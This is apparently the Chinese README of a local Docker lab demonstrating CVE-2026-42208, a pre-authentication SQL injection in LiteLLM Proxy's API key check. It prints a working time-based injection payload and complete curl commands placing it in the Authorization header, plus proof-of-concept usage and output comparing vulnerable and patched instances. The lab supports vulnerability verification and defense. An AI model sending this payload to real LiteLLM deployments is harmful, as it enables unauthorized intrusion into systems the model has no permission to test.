本地 Docker 实验环境及针对 CVE-2026-42208 的最小危害 PoC,该漏洞是 LiteLLM Proxy API 密钥验证路径中的预认证 SQL 注入漏洞。
本仓库通过基于计时的 PostgreSQL pg_sleep() 证明,演示了存在漏洞的 LiteLLM 实例与已修补的 LiteLLM 实例之间的差异。
范围:仅限本地实验环境 / 授权测试。默认 PoC 不会转储数据库数据,也不会修改数据库数据。
CVE-2026-42208 影响 LiteLLM Proxy 1.81.16 至 1.83.7 之前的版本。
该漏洞通过向 LiteLLM API 端点发送精心构造的 Authorization: Bearer ... 头触发。在受影响版本中,调用方提供的令牌可在 API 密钥验证期间进入 SQL 查询路径。
本实验环境对比:
| 服务 | 版本 | URL | 预期结果 |
|---|---|---|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | 延迟 401 响应 |
patched | v1.83.7-stable | http://127.0.0.1:8082 | 快速 401 响应 |
该证明使用的载荷类似于:
' OR (SELECT pg_sleep(6)) IS NULL --
两个服务都应返回 HTTP 401,但存在漏洞的实例应大约需要 6 秒响应,而已修补的实例应快速响应。
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> 存在漏洞的 LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> 已修补的 LiteLLM -> PostgreSQL db-patched
PostgreSQL 服务是内部 Docker 服务,不向宿主机暴露。
仅暴露 LiteLLM HTTP 端口:
| 宿主机端口 | 服务 | 容器端口 |
|---|---|---|
8081 | 存在漏洞的 LiteLLM | 4000 |
8082 | 已修补的 LiteLLM | 4000 |
docker compose up -d --build
检查服务状态:
docker compose ps
预期状态:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
测试存在漏洞的实例:
python3 poc/poc.py --url http://127.0.0.1:8081
测试已修补的实例:
python3 poc/poc.py --url http://127.0.0.1:8082
--url 目标基础 URL
--path 要测试的 API 路径。默认值:/v1/chat/completions
--sleep pg_sleep() 的秒数。默认值:6
--rounds 探测轮数。默认值:2
示例:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
存在漏洞的实例:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
已修补的实例:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
本实验环境的示例结果:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
重要的观察结果是,两个服务都返回 401,但只有存在漏洞的服务会延迟大约 pg_sleep() 的时长。
本仓库使用计时证明,因为它比提取数据更安全。
PoC 通过观察响应延迟来证明注入的 SQL 表达式正在被求值。它不会尝试转储数据库行、提取 API 密钥、修改记录或绕过身份验证。
存在漏洞的服务:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
已修补的服务:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
预期行为:
vulnerable -> 大约 6 秒
patched -> 近乎即时响应
docker compose down -v
这将移除容器、网络和 PostgreSQL 卷。
本实验环境仅用于本地和授权测试。
请勿对您不拥有或未经许可测试的系统运行 PoC。
请勿在本实验环境中使用真实的提供商 API 密钥或生产环境 LiteLLM 凭据。
默认 PoC 避免破坏性行为,且不会提取数据库内容。